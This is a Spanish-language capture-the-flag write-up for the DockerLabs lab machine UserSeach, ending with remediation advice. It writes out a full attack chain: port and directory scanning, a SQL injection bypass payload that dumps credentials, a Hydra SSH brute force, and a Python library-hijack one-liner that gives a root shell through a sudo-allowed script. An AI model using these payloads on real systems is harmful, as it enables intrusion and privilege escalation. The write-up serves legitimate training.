UserSeach
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina UserSeach, desarrollada por kvzlx para DockerLabs y clasificada con un nivel de dificultad Medio.
El objetivo de este write-up es explicar de forma clara y ordenada el proceso de compromiso del sistema:
- Reconocimiento: Identificación de puertos y revisión del servicio web.
- Explotación: Obtención de usuarios y contraseñas mediante vulnerabilidad de SQL Injection y fuerza bruta en SSH.
- Escalada de privilegios: Abuso de permisos
sudoy Python Library Hijacking para obtener acceso aroot.
Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | UserSeach |
| Autor | kvzlx |
| Dificultad | Medio |
| Fecha | 02/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Desplegamos la máquina con los siguientes comandos:
unzip UserSeach.zipsudo bash auto_deploy.sh UserSeach.tar
Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»mkdir -p UserSeach/{content,exploits,nmap,gobuster,scripts}cd UserSeach1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Realizamos un escaneo completo de puertos TCP:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos encontrados:
- 22/tcp — SSH
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Realizamos un escaneo con Feroxbuster:
feroxbuster -u http://172.18.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403El escaneo no reveló rutas interesantes; solo existe un formulario de búsqueda en la página principal:

Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»2.1 Obtención de credenciales mediante SQL Injection
Sección titulada «2.1 Obtención de credenciales mediante SQL Injection»Al probar el usuario admin en el formulario, el sistema nos devuelve su password directamente:

Como la entrada es reflejada en la página, es razonable sospechar de SQL Injection. Probamos un bypass básico:
admin' OR 1=1; -- -Se listan tres usuarios válidos con sus contraseñas:

También se probó con sqlmap, pero no se obtuvieron más datos aparte de estos tres usuarios.
Guardamos los datos en archivos para usar como diccionario:
echo -e "..." > users.txtecho -e "..." > passwords.txt2.2 Ataque de fuerza bruta contra SSH
Sección titulada «2.2 Ataque de fuerza bruta contra SSH»Con estos diccionarios ejecutamos Hydra:
hydra -L users.txt -P passwords.txt ssh://172.18.0.2Resultados:

Con esto obtenemos credenciales válidas para SSH:
ssh kvzlx@172.18.0.2
Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De kvzlx → root
Sección titulada «3.1 De kvzlx → root»Listamos capacidades sudo:

El usuario puede ejecutar:
(ALL) /usr/bin/python3 /home/kvzlx/system_info.pyRevisamos el script:

El archivo importa la librería psutil, por lo que podemos realizar un ataque de Python Library Hijacking:
si creamos un archivo psutil.py en el mismo directorio desde donde ejecutamos el script, Python cargará nuestra versión maliciosa antes que la real.
Creamos la librería falsa:
echo 'import os; os.system("/bin/bash")' > psutil.pyEjecutamos el script con sudo:
sudo /usr/bin/python3 /home/kvzlx/system_info.pyAutomáticamente obtenemos una shell como root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Validación deficiente en el formulario, permitiendo SQL Injection.
- Exposición directa de usuarios y contraseñas.
- Reutilización de credenciales en múltiples servicios.
- Permisos
sudomal configurados, permitiendo la ejecución de scripts en Python sin restricciones. - Uso inseguro de librerías en Python que permite Library Hijacking.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación y sanitización de entradas en formularios.
- Evitar mostrar contraseñas o información sensible en respuestas del servidor.
- Deshabilitar el listado directo de usuarios mediante consultas inseguras.
- Evitar reutilizar credenciales entre servicios.
- Configurar
sudosiguiendo el principio de mínimo privilegio. - Usar rutas absolutas y entornos virtuales controlados en scripts Python para evitar hijacking de librerías.